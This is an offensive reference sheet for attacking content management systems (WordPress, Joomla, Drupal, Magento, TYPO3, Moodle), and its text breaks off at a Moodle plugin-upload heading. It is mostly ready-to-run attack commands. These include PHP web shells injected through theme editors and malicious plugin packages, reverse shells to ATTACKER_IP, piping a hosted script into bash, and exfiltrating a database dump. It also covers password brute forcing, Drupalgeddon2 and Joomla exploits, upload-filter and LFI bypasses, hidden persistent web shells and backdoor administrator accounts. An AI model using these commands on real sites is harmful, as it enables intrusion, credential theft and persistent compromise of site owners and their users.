A complete operational reference for identifying, fingerprinting, and exploiting
Content Management Systems (CMS). Covers detection, enumeration, credential attacks,
plugin/theme vulnerabilities, file upload exploitation, and post-exploitation.
Targets: WordPress, Joomla, Drupal, Magento, and others.
CMS ATTACK FLOW:
─────────────────────────────────────────────────────────────────
Target URL
│
▼
┌────────────────┐
│ CMS Detection │ ← whatweb, wappalyzer, headers, HTML source
└───────┬────────┘
│
▼
┌────────────────────┐
│ Version Fingerprint│ ← readme, changelog, meta tags, JS paths
└────────┬───────────┘
│
▼
┌──────────────────────────┐
│ Enumerate Attack Surface│ ← plugins, themes, users, configs
└────────────┬─────────────┘
│
┌─────────┴──────────┐
▼ ▼
┌──────────┐ ┌──────────────┐
│ CVE/Vuln │ │ Cred Attack │
│ Lookup │ │ (brute/cve) │
└────┬─────┘ └──────┬───────┘
│ │
└────────┬───────────┘
▼
┌─────────────────┐
│ Admin Access │
│ / RCE │
└────────┬────────┘
▼
┌─────────────────┐
│ Web Shell Upload│
│ / File Write │
└────────┬────────┘
▼
┌──────────────────┐
│ Reverse Shell │
│ → Full Foothold │
└──────────────────┘
─────────────────────────────────────────────────────────────────
Key Terms:
- CMS — Content Management System (WordPress, Joomla, Drupal, etc.)
- Plugin/Extension — Third-party code added to CMS — most common vuln surface
- Theme — Template system — also exploitable via file upload / editor
- Admin Panel — Backend dashboard — target for credential attacks
- xmlrpc.php — WordPress XML-RPC API — brute force & SSRF vector
- Changelog/Readme — Often reveals exact CMS version
# WhatWeb — fast CMS fingerprint
whatweb http://target.com
whatweb http://target.com -v # verbose
whatweb http://target.com -a 3 # aggressive mode (more requests)
whatweb -i targets.txt # scan multiple targets
# CMSeek — dedicated CMS scanner
git clone https://github.com/Tuhinshubhra/CMSeek
python3 cmseek.py -u http://target.com
python3 cmseek.py -u http://target.com --follow-redirect
# BlindElephant — fingerprint via file hashes
python BlindElephant.py http://target.com wordpress
python BlindElephant.py http://target.com joomla
# Wappalyzer CLI
npx wappalyzer http://target.com
# Check server response headers
curl -I http://target.com
curl -sI http://target.com | grep -i "x-powered\|server\|x-generator"
# Common CMS headers:
# WordPress: X-Pingback: http://target.com/xmlrpc.php
# Joomla: Set-Cookie: 6f0e4... (joomla session cookie pattern)
# Drupal: X-Generator: Drupal 9 (https://www.drupal.org)
# Check common CMS paths
curl -s http://target.com/wp-login.php # WordPress
curl -s http://target.com/administrator/ # Joomla
curl -s http://target.com/user/login # Drupal
curl -s http://target.com/index.php/admin # Magento
curl -s http://target.com/wp-json/ # WP REST API
curl -s http://target.com/CHANGELOG.txt # Drupal version
curl -s http://target.com/readme.html # WordPress version
# Version disclosure paths:
# WordPress: /readme.html, /wp-includes/version.php
# Joomla: /administrator/manifests/files/joomla.xml
# Drupal: /CHANGELOG.txt, /core/CHANGELOG.txt (Drupal 8+)
# Magento: /magento_version, /skin/frontend/
# WordPress indicators in page source
curl -s http://target.com | grep -i "wp-content\|wp-includes"
# Joomla indicators
curl -s http://target.com | grep -i "joomla\|/components/\|/modules/"
# Drupal indicators
curl -s http://target.com | grep -i "drupal\|Drupal.settings"
# Meta generator tag (often reveals CMS + version)
curl -s http://target.com | grep -i "meta.*generator"
# Example output: <meta name="generator" content="WordPress 6.2.2" />
| CMS |
Version File Path |
Meta Tag Present |
| WordPress |
/readme.html, /wp-includes/version.php |
Yes |
| Joomla |
/administrator/manifests/files/joomla.xml |
Yes |
| Drupal |
/CHANGELOG.txt, /core/CHANGELOG.txt |
Yes (D7 only) |
| Magento |
/magento_version, /app/Mage.php |
No |
| TYPO3 |
/typo3/index.php, TYPO3_version in source |
Yes |
# ─── Installation ───
gem install wpscan
# OR use docker:
docker pull wpscanteam/wpscan
# ─── Basic scan ───
wpscan --url http://target.com
# ─── Enumerate everything ───
wpscan --url http://target.com \
--enumerate u,p,t,vp,vt,tt,cb,dbe \
--plugins-detection aggressive \
--api-token <YOUR_WPSCAN_API_TOKEN>
# Enumerate flags:
# u = usernames
# p = plugins
# t = themes
# vp = vulnerable plugins
# vt = vulnerable themes
# tt = timthumbs
# cb = config backups
# dbe = DB exports
# ap = ALL plugins (slow but thorough)
# at = ALL themes
# ─── Aggressive plugin detection ───
wpscan --url http://target.com \
--enumerate p \
--plugins-detection aggressive
# ─── Brute force login ───
wpscan --url http://target.com \
--usernames admin \
--passwords /usr/share/wordlists/rockyou.txt \
--max-threads 50
# ─── Brute force with user list ───
wpscan --url http://target.com \
--usernames users.txt \
--passwords /usr/share/wordlists/rockyou.txt
# ─── Bypass WAF / custom header ───
wpscan --url http://target.com \
--random-user-agent \
--cookie "wordpress_logged_in=<session>"
# Method 1: WPScan enumerate users
wpscan --url http://target.com --enumerate u
# Method 2: REST API (no auth required)
curl -s http://target.com/wp-json/wp/v2/users | python3 -m json.tool
curl -s "http://target.com/?author=1" # redirect reveals username
# Method 3: Author archive URL
for i in $(seq 1 10); do
curl -s -L "http://target.com/?author=$i" | grep -oP "class=\"author.*?\"" | head -1
done
# Method 4: xmlrpc enumeration
curl -s -X POST http://target.com/xmlrpc.php \
-d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>password</value></param></params></methodCall>'
# → Invalid credentials response = user EXISTS
# → faultCode 403 = user does NOT exist
# Check if xmlrpc is enabled
curl -s http://target.com/xmlrpc.php
# Response: "XML-RPC server accepts POST requests only" = ENABLED
# ─── xmlrpc brute force (bypasses login page protections) ───
# Single request can test MULTIPLE passwords (system.multicall)
# Using MSF:
msfconsole -q
use auxiliary/scanner/http/wordpress_xmlrpc_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
# Burp Suite: send to Intruder with multicall payload
# One POST = 500 password attempts → much faster than HTTP brute
# Using python script (xmlrpc_brute.py approach):
curl -s -X POST http://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getCategories</string></value></member>
<member><name>params</name><value><array><data>
<value><string>1</string></value>
<value><string>admin</string></value>
<value><string>password123</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>'
# ─── After wpscan reveals a vulnerable plugin ───
# Example: plugin "duplicator" version 1.3.26 is found
# Step 1: Search for exploit
searchsploit wordpress duplicator
searchsploit -x 50420 # read exploit details
# Step 2: Check exploit-db / NVD
# https://www.exploit-db.com/search?q=wordpress+duplicator
# Step 3: Nuclei templates (fast, automated)
nuclei -u http://target.com -t /root/nuclei-templates/vulnerabilities/wordpress/
nuclei -u http://target.com -tags wordpress
# Step 4: WPScan with API (auto CVE match)
wpscan --url http://target.com \
--enumerate vp \
--api-token <API_TOKEN>
# → Directly shows CVEs for installed plugins
# Common high-value plugin vulns to look for:
# - File Manager (RCE, unauthenticated)
# - WP GDPR Compliance (privilege escalation)
# - Duplicator (arbitrary file read / path traversal)
# - Contact Form 7 (unrestricted file upload)
# - Elementor (authenticated RCE)
# - WooCommerce (various SQL injection)
# - Slider Revolution (LFI)
FLOW: Admin creds → Appearance → Theme Editor → inject PHP → trigger
─────────────────────────────────────────────────────────────────────
WordPress Admin Panel
│
├─── Appearance → Theme Editor
│ └── 404.php (or functions.php)
│ └── Add: <?php system($_GET['cmd']); ?>
│ └── Update File
│
└── Trigger via browser:
http://target.com/?p=404.php&cmd=id
http://target.com/wp-content/themes/<theme>/404.php?cmd=id
─────────────────────────────────────────────────────────────────────
# After gaining admin access:
# 1. Navigate to: Appearance → Theme File Editor
# 2. Select active theme → 404.php (least suspicious)
# 3. Inject one-liner web shell at TOP of file:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>
# 4. Trigger via URL:
curl "http://target.com/wp-content/themes/twentytwentythree/404.php?cmd=id"
# 5. Get reverse shell:
curl "http://target.com/wp-content/themes/twentytwentythree/404.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# ─── Alternative: Plugin editor ───
# Appearance editor locked? → Plugins → Plugin File Editor
# Edit any plugin file (hello.php recommended)
# Add web shell → activate plugin → trigger
# Create malicious plugin ZIP
mkdir wp-shell
cat > wp-shell/wp-shell.php << 'EOF'
<?php
/**
* Plugin Name: Shell
* Description: Shell
* Version: 1.0
*/
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
EOF
zip wp-shell.zip wp-shell/wp-shell.php
# Upload via: Plugins → Add New → Upload Plugin
# Activate the plugin
# Access shell:
curl "http://target.com/wp-content/plugins/wp-shell/wp-shell.php?cmd=id"
# wp-config.php contains database credentials
# Accessible if you have file read / LFI
# Common locations:
# /var/www/html/wp-config.php
# /var/www/wp-config.php
# /home/user/public_html/wp-config.php
# Read via web shell:
curl "http://target.com/wp-shell.php?cmd=cat+/var/www/html/wp-config.php"
# Extract creds:
cat wp-config.php | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"
# Connect to DB directly (if db accessible):
mysql -u wp_user -p -h localhost wp_database
# Then: SELECT user_login, user_pass FROM wp_users;
# → crack hashes with hashcat (mode 400 = phpass)
hashcat -a 0 -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
# ─── Installation ───
git clone https://github.com/OWASP/joomscan.git
cd joomscan
perl joomscan.pl -u http://target.com
# ─── Full scan ───
perl joomscan.pl -u http://target.com --ec # enumerate components
perl joomscan.pl -u http://target.com -random-agent
perl joomscan.pl -u http://target.com --proxy http://127.0.0.1:8080 # through Burp
# CMSeek alternative:
python3 cmseek.py -u http://target.com --follow-redirect
# Version check paths
curl -s "http://target.com/administrator/manifests/files/joomla.xml" | grep version
curl -s "http://target.com/language/en-GB/en-GB.xml" | grep version
# User enumeration via login error
# POST to /index.php
# "Username and password do not match" → user EXISTS
# "This username does not exist" → user DOES NOT exist
# REST API (Joomla 4.x)
curl -s "http://target.com/api/index.php/v1/users" \
-H "Accept: application/vnd.api+json"
# Joomla 3.x user enum via error response
curl -s -X POST http://target.com/index.php \
-d "username=admin&passwd=wrongpass&option=com_login&task=login&return=aW5kZXgucGhw"
FLOW: Admin → Extensions → Templates → Edit Template File → PHP Shell
──────────────────────────────────────────────────────────────────────
/administrator/ (login)
│
└─── Extensions → Templates → Templates
└── Select active template
└── error.php (or index.php)
└── Inject: <?php system($_GET['cmd']); ?>
└── Save → Trigger via browser
──────────────────────────────────────────────────────────────────────
# After gaining admin:
# 1. Extensions → Templates → Templates
# 2. Click active template (e.g., Beez3, Protostar, Cassiopeia)
# 3. Click error.php or index.php
# 4. Insert at top:
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
# 5. Trigger:
curl "http://target.com/templates/<template_name>/error.php?cmd=id"
# ─── Reverse shell ───
curl "http://target.com/templates/protostar/error.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"
# CVE-2015-8562 — Joomla 1.5–3.4.5 — Object Injection → RCE (unauthenticated)
# CVE-2017-8917 — Joomla 3.7.0 — SQL Injection (unauthenticated)
# CVE-2023-23752 — Joomla 4.0.0–4.2.7 — Improper API auth → DB creds leak
# CVE-2023-23752 — DB credentials leak:
curl -s "http://target.com/api/index.php/v1/config/application?public=true" \
-H "Accept: application/vnd.api+json"
# → Returns database host, user, password in JSON!
# CVE-2017-8917 SQL Injection via sqlmap:
sqlmap -u "http://target.com/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
--risk=3 --level=5 --random-agent --dbs
# ─── Installation ───
pip3 install droopescan
# OR
git clone https://github.com/SamJoan/droopescan.git
cd droopescan && pip install -r requirements.txt
# ─── Basic scan ───
droopescan scan drupal -u http://target.com
droopescan scan drupal -u http://target.com -t 32 # 32 threads
# Also works on Joomla / WordPress / Moodle:
droopescan scan joomla -u http://target.com
droopescan scan -u http://target.com # auto-detect CMS
# Drupal 7 — CHANGELOG.txt (very revealing)
curl -s http://target.com/CHANGELOG.txt | head -5
# Output: "Drupal 7.70, 2020-06-17"
# Drupal 8/9/10 — core/CHANGELOG.txt
curl -s http://target.com/core/CHANGELOG.txt | head -5
# install.php — shows version + installation status
curl -s http://target.com/install.php | grep -i "drupal"
# robots.txt — unique Drupal paths
curl -s http://target.com/robots.txt
# README.md in core
curl -s http://target.com/core/README.md
# ─── Drupalgeddon 2 — CVE-2018-7600 ───
# Affects Drupal 6/7/8 — unauthenticated RCE
# Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1
# PoC / Exploit:
git clone https://github.com/dreadlocked/Drupalgeddon2
ruby drupalgeddon2.rb http://target.com
# → Gives interactive shell!
# MSF Module:
msfconsole -q
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS target.com
set RPORT 80
run
# Manual PoC (curl-based):
curl -s -X POST http://target.com/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax \
--data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id'
# ─── Drupalgeddon 3 — CVE-2018-7602 ───
# Affects Drupal 7.x < 7.59, 8.x < 8.5.3
# Requires valid user session (authenticated)
# ─── Method 1: Enable PHP filter module ───
# Admin → Extend → PHP Filter → Enable
# Then: Content → Add content → Basic page
# Set text format to "PHP code"
# Paste: <?php system($_GET['cmd']); ?>
# Save → access the page URL with ?cmd=id
# ─── Method 2: Theme template edit (Drupal 7) ───
# Admin → Appearance → edit active theme files (if file write enabled)
# Insert PHP shell into page.tpl.php
# ─── Method 3: Webshell via .module upload ───
# Create file: shell.module
cat > shell.module << 'EOF'
<?php
function shell_help() {}
function shell_node_info() {}
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
EOF
# Admin → Modules → Install new module → upload shell.module as tar.gz
# magescan
git clone https://github.com/steverobbins/magescan
cd magescan
php magescan.phar scan:all http://target.com
php magescan.phar scan:version http://target.com
# Check admin panel URL (Magento obfuscates it)
# Magescan reveals hidden admin path
php magescan.phar scan:unreachable http://target.com
# Default admin paths (often changed)
http://target.com/admin
http://target.com/index.php/admin
http://target.com/admin123 # obfuscated — find via magescan or brute
# Brute force admin login (Magento 1):
# POST to /index.php/admin/index/
# Check response for "Invalid User Name or Password"
# Using MSF:
use auxiliary/scanner/http/magento_login
set RHOSTS target.com
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
# Affects Magento CE < 1.9.1.0 — SQLi → Admin account creation
# Unauthenticated!
# Exploit (magento-shoplift.py):
git clone https://github.com/joren485/Magento-Shoplift-SQLI
python magento-shoplift.py http://target.com
# → Creates admin user and outputs credentials
# MSF module:
use auxiliary/scanner/http/magento_sqli
# Target: CMS media upload / file manager
# Step 1: Check allowed extensions
# Try uploading .php — likely blocked
# Try: .php5, .phtml, .phar, .php.jpg, .PHP (case), .PhP
# Step 2: MIME type bypass
# Change Content-Type header to image/jpeg while keeping .php extension
curl -X POST http://target.com/upload \
-F "file=@shell.php;type=image/jpeg"
# Step 3: Double extension
mv shell.php shell.php.jpg
# Upload → some servers execute .php in double extension
# Step 4: Null byte (old PHP versions)
# shell.php%00.jpg → server strips after %00 → stores as shell.php
# Step 5: .htaccess upload (Apache)
# Upload .htaccess first:
echo "AddType application/x-httpd-php .jpg" > .htaccess
# Then upload shell.jpg → executed as PHP!
# Step 6: exiftool — embed PHP in image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php.jpg
# Upload → if exif not stripped → PHP executes
# Hydra — generic HTTP POST brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:ERROR"
# Hydra — Joomla
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login:Invalid"
# Medusa
medusa -h target.com -u admin -P rockyou.txt \
-M http -m DIR:/wp-login.php \
-m FORM:"log=&pwd=&wp-submit=Log+In" \
-m DENY-SIGNAL:"Invalid"
# BurpSuite Intruder
# 1. Capture login POST in Proxy
# 2. Send to Intruder → Sniper mode
# 3. Mark password field as payload position
# 4. Load wordlist → Attack
# 5. Filter by response length / status code
# Gobuster — CMS-specific wordlists
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/CMS/wordpress.fuzz.txt
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/CMS/joomla.txt
# General hidden files
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt \
-x php,bak,txt,sql,zip,tar,gz,old,swp
# Feroxbuster (recursive)
feroxbuster -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,bak,txt,zip
# Files to specifically hunt:
# *.bak, *.sql, *.zip, *.tar.gz → backups with source code / DB dump
# wp-config.php.bak, configuration.php.bak
# .git/ directory → full source code via git-dumper
# error_log, debug.log → credentials / internal paths
# Vulnerable plugin parameter pattern
http://target.com/?page=../../../etc/passwd
http://target.com/?file=....//....//etc/passwd
http://target.com/?template=php://filter/convert.base64-encode/resource=/etc/passwd
http://target.com/?include=expect://id
# After confirming LFI, read sensitive CMS files:
# WordPress:
http://target.com/vuln.php?page=../wp-config.php
http://target.com/vuln.php?page=../wp-config.php%00 # null byte (PHP <5.3)
# Joomla:
http://target.com/vuln.php?page=../configuration.php
# Drupal:
http://target.com/vuln.php?page=../sites/default/settings.php
# Escalate LFI to RCE via log poisoning:
# Step 1: Inject PHP into access log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# Step 2: Include the log file via LFI
http://target.com/vuln.php?page=../../../var/log/apache2/access.log&cmd=id
# After placing web shell (any CMS):
# Attacker: start listener
nc -lvnp 4444
# Trigger reverse shell via web shell URL:
# URL-encoded bash reverse shell:
http://target.com/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
# Python fallback:
http://target.com/shell.php?cmd=python3+-c+'import+socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Or use curl to call a hosted script:
# Host on attacker: echo 'bash -i >& /dev/tcp/IP/4444 0>&1' > r.sh && python3 -m http.server 80
http://target.com/shell.php?cmd=curl+http://ATTACKER_IP/r.sh|bash
# Who are we?
whoami && id
# OS and kernel
uname -a
cat /etc/os-release
cat /proc/version
# Where is the web root?
pwd
find / -name "wp-config.php" 2>/dev/null
find / -name "configuration.php" 2>/dev/null
find / -name "settings.php" 2>/dev/null
# Database credentials (extract from config)
cat /var/www/html/wp-config.php | grep -E "DB_|AUTH_KEY"
cat /var/www/html/configuration.php | grep -E "password|user|host"
# Interesting writable directories
find /var/www -writable -type d 2>/dev/null
# SUID binaries (privesc paths)
find / -perm -u=s -type f 2>/dev/null
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
# Other users on the system
cat /etc/passwd | grep -v "nologin\|false"
# MySQL — dump from web shell
mysql -u wp_user -pwp_pass -e "SELECT user_login, user_pass FROM wp_users;" wp_database
# Full DB dump
mysqldump -u wp_user -pwp_pass wp_database > /tmp/dump.sql
# Then exfiltrate:
curl -X POST -F "data=@/tmp/dump.sql" http://ATTACKER_IP/upload.php
# Read credentials from database interactively
mysql -u root -p
show databases;
use wordpress;
SELECT user_login, user_pass FROM wp_users;
# Persistent web shell in uploads (hard to detect)
# WordPress uploads folder — not checked by theme editor detection
echo '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>' \
> /var/www/html/wp-content/uploads/images.php
# Joomla media folder
echo '<?php system($_GET["c"]); ?>' \
> /var/www/html/images/shell.php
# Create backdoor admin user (WordPress via MySQL)
mysql -u root -p wordpress -e "
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_status)
VALUES ('backdoor', MD5('supersecret'), 'backdoor', 'back@door.com', '0');
INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value)
VALUES (NULL, LAST_INSERT_ID(), 'wp_user_level', '10');"
# WP-CLI (if available on target)
wp user create backdoor back@door.com --role=administrator --user_pass=supersecret123 --allow-root
DETECTION:
─────────────────────────────────────────────────────────────────
Unknown CMS? → whatweb -a 3 http://target.com
Quick multi-CMS check? → cmseek -u http://target.com
Want HTTP headers? → curl -I http://target.com
ENUMERATION:
─────────────────────────────────────────────────────────────────
WordPress? → wpscan --url target.com --enumerate u,vp,vt --api-token TOKEN
Joomla? → perl joomscan.pl -u http://target.com --ec
Drupal? → droopescan scan drupal -u http://target.com
Magento? → php magescan.phar scan:all http://target.com
BRUTE FORCE:
─────────────────────────────────────────────────────────────────
WordPress login? → wpscan --url target.com -U admin -P rockyou.txt
WordPress xmlrpc? → MSF auxiliary/scanner/http/wordpress_xmlrpc_login
Joomla login? → hydra -l admin -P rockyou.txt target.com http-post-form "..."
Generic HTTP POST? → hydra / BurpSuite Intruder
EXPLOITATION:
─────────────────────────────────────────────────────────────────
WordPress admin RCE? → Appearance → Theme Editor → 404.php → inject PHP
Joomla admin RCE? → Extensions → Templates → error.php → inject PHP
Drupal unauth RCE? → MSF exploit/unix/webapp/drupal_drupalgeddon2
Magento SQL? → python magento-shoplift.py http://target.com
Any CMS file upload? → .phtml / .php5 / .htaccess bypass → web shell
─────────────────────────────────────────────────────────────────
| CMS |
Login Path |
Version Path |
Config File |
| WordPress |
/wp-login.php |
/readme.html |
wp-config.php |
| Joomla |
/administrator/ |
/administrator/manifests/files/joomla.xml |
configuration.php |
| Drupal |
/user/login |
/CHANGELOG.txt |
sites/default/settings.php |
| Magento |
/admin (or custom) |
php magescan.phar scan:version |
app/etc/local.xml |
| TYPO3 |
/typo3/index.php |
Source HTML TYPO3_version |
typo3conf/LocalConfiguration.php |
| CVE |
CMS |
Version Affected |
Type |
Auth |
| CVE-2018-7600 |
Drupal |
6/7/8 (various) |
RCE (Drupalgeddon 2) |
No |
| CVE-2018-7602 |
Drupal |
7.x < 7.59, 8.x < 8.5.3 |
RCE (Drupalgeddon 3) |
Yes |
| CVE-2023-23752 |
Joomla |
4.0.0–4.2.7 |
API Info Disclosure |
No |
| CVE-2015-8562 |
Joomla |
1.5–3.4.5 |
Object Injection RCE |
No |
| CVE-2017-8917 |
Joomla |
3.7.0 |
SQL Injection |
No |
| CVE-2015-1397 |
Magento |
CE < 1.9.1.0 |
SQLi → Admin Creation |
No |
| CVE-2019-8942 |
WordPress |
5.0.0 |
Authenticated RCE |
Yes |
Got a CMS target?
│
├── Can you identify the CMS?
│ ├── YES → Use dedicated scanner (wpscan/joomscan/droopescan)
│ └── NO → whatweb -a 3 / cmseek / manual path probing
│
├── Do you have credentials?
│ ├── YES → Login → Theme/Template Editor → inject PHP shell
│ └── NO → Brute force (wpscan / hydra) OR hunt for unauthenticated CVEs
│
├── Is there a vulnerable plugin/extension?
│ ├── YES → searchsploit / nuclei / metasploit
│ └── NO → Look for file upload, LFI, SQLi in custom code
│
└── Got shell?
├── Upgrade TTY → enumerate DB creds → dump hashes
└── Escalate → privesc → persistence
# ─── Installation ───
git clone https://github.com/whoot/Typo3Scan.git
cd Typo3Scan
pip3 install -r requirements.txt
# ─── Basic scan ───
python3 typo3scan.py -d http://target.com
python3 typo3scan.py -d http://target.com --vuln # check vulns per extension
python3 typo3scan.py -d http://target.com -t 10 # 10 threads
# CMSmap alternative:
cmsmap http://target.com # auto-detects TYPO3
# Path-based detection
curl -s http://target.com/typo3/index.php # backend login page
curl -s http://target.com/typo3_src/ # source directory listing
curl -s http://target.com/typo3/sysext/core/composer.json | grep '"version"'
# Check HTML source for generator tag
curl -s http://target.com | grep -i "meta.*generator\|typo3"
# Output example: <meta name="generator" content="TYPO3 CMS" />
# changelog / release notes
curl -s http://target.com/typo3_src/ChangeLog
curl -s http://target.com/typo3/sysext/core/Documentation/Changelog/
# Admin panel path
# Default: /typo3/index.php
# May be hardened to a custom path but rarely changed
# Backend login error differentiation
# POST to /typo3/index.php
# "Invalid login credentials." → user may exist but wrong password
# No specific user enumeration in modern TYPO3 — use brute force timing
# Brute force backend login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/typo3/index.php:username=^USER^&password=^PASS^&login_status=login:Invalid"
# RST installs — default credentials
# admin / password | admin / admin | admin / typo3
# ─── CVE-2019-12747 — Authenticated RCE via PHP Object Injection ───
# Affects: TYPO3 8.x ≤ 8.7.26, 9.x ≤ 9.5.7
# Requires: authenticated backend user with access to Pages section
# Mechanism: serialized data in DB is overrideable → PHP Object Injection → eval()
# MSF Module:
msfconsole -q
use exploit/multi/http/typo3_sa_2019_012
set RHOSTS target.com
set USERNAME editor_user
set PASSWORD known_pass
run
# Manual: modify a page record field with a crafted serialized payload
# via the TYPO3 backend record edit form
# ─── CVE-2023-38499 — Multi-site info disclosure ───
# Affects: TYPO3 < 11.5.30, < 12.4.4
# Mechanism: ?id=X&L=Y params allow fetching content from other sites
# Test:
curl -s "http://target.com/index.php?id=1&L=0" # normal page
curl -s "http://target.com/index.php?id=50&L=99" # try internal site IDs
# ─── CVE-2025-59020 — Broken Access Control (defVals param) ───
# Affects: TYPO3 10.0–14.0.1
# Mechanism: defVals parameter bypasses field-level access checks
# Allows writing to restricted DB fields during record creation
FLOW: Admin access → Install malicious extension (.t3x/.zip) → trigger PHP
──────────────────────────────────────────────────────────────────────────────
/typo3/index.php (admin login)
│
└─── Admin Tools → Extensions → Get Extensions (or upload .t3x)
└── Upload malicious extension zip
└── Activate extension
└── Access injected PHP via web path
──────────────────────────────────────────────────────────────────────────────
# Build malicious TYPO3 extension
mkdir -p typo3_shell/typo3conf/ext/rce/
cat > typo3_shell/typo3conf/ext/rce/ext_emconf.php << 'EOF'
<?php
$EM_CONF[$_EXTKEY] = [
'title' => 'RCE',
'description' => '',
'version' => '1.0.0',
'state' => 'stable',
'constraints' => [],
];
EOF
cat > typo3_shell/typo3conf/ext/rce/shell.php << 'EOF'
<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>
EOF
cd typo3_shell && zip -r ../rce.zip .
# Upload via: Admin Tools → Extensions → Upload Extension
# Activate → access shell:
curl "http://target.com/typo3conf/ext/rce/shell.php?cmd=id"
# Config file locations
/var/www/html/typo3conf/LocalConfiguration.php # TYPO3 6.x–11.x
/var/www/html/config/system/settings.php # TYPO3 12+
# Extract DB credentials
cat /var/www/html/typo3conf/LocalConfiguration.php | grep -A5 "'DB'"
# Sample output structure:
# 'DB' => [
# 'Connections' => [
# 'Default' => [
# 'dbname' => 'typo3db',
# 'host' => '127.0.0.1',
# 'password' => 'SuperSecret',
# 'user' => 'typo3',
# ],
# ],
# ],
# Connect and dump backend users
mysql -u typo3 -pSuperSecret typo3db -e "SELECT username, password FROM be_users;"
# Hashes are salted md5/bcrypt — crack with hashcat
# ─── Droopescan (multi-CMS, works on Moodle) ───
droopescan scan moodle -u http://target.com/moodle/
droopescan scan moodle -u http://target.com/
# ─── moodlescan (dedicated) ───
git clone https://github.com/inc0d3/moodlescan
cd moodlescan
python3 moodlescan.py -u http://target.com/moodle/ -k
# ─── badmoodle (community vuln scanner) ───
git clone https://github.com/cyberaz0r/badmoodle
cd badmoodle
python3 badmoodle.py -u http://target.com/moodle/
# ─── CMSmap ───
cmsmap http://target.com/moodle/
# Version in multiple locations
curl -s "http://target.com/moodle/lib/upgrade.txt" | head -5
curl -s "http://target.com/moodle/version.php"
# Output: $release = '4.1.2 (Build: 20230313)'
# Admin version disclosure
curl -s "http://target.com/moodle/admin/index.php" | grep -i "version"
# Standard Moodle paths to confirm install
curl -s "http://target.com/moodle/login/index.php" # login page
curl -s "http://target.com/moodle/admin/" # admin panel (redirect if unauth)
# Check Moodle release notes page
curl -s "http://target.com/moodle/admin/environment.php"
# ─── CVE-2020-14321 — Privilege Escalation → RCE (Authenticated Teacher) ───
# Affects: Moodle 3.9, 3.8, 3.7, 3.5 (LTS) < specific patch versions
# Mechanism: Teacher can enroll themselves as Manager → install plugins → RCE
# PoC:
git clone https://github.com/HoangKien1020/CVE-2020-14321
python3 CVE-2020-14321_RCE.py -url http://target.com/moodle -u teacher@test.com -p pass123
# ─── CVE-2024-43425 — RCE via Calculated Questions (CRITICAL 9.2) ───
# Affects: Moodle < 4.1.12, < 4.2.9, < 4.3.6, < 4.4.2
# Mechanism: Calculated question type passes unsanitized input to PHP eval()
# Requires: capability to add/update questions in a course
# MSF Module (added post-2024):
msfconsole -q
use exploit/linux/http/moodle_rce
set RHOSTS target.com
set TARGETURI /moodle/
set USERNAME teacher_user
set PASSWORD teacher_pass
run
# Manual trigger (question formula injection):
# 1. Login as teacher → create quiz → add Calculated question
# 2. In the "Correct Answer Formula" field, inject:
# {={system('id')}}
# 3. Preview the question → output appears in answer calculation
# ─── CVE-2025-26529 — SSRF → XSS → RCE Chain ───
# Affects: Moodle 4.4.5 (Build: 20241209)
# Mechanism: SSRF to steal admin cookie → use admin cookie for RCE
# Requires: guest user enabled on the Moodle install
# Mitigation check (test if guest user is enabled):
curl -s "http://target.com/moodle/login/index.php" | grep -i "guest"
# "Login as a guest" text present = vulnerable configuration
FLOW: Manager/Admin → Site Administration → Plugins → Install plugin → RCE
────────────────────────────────────────────────────────────────────────────
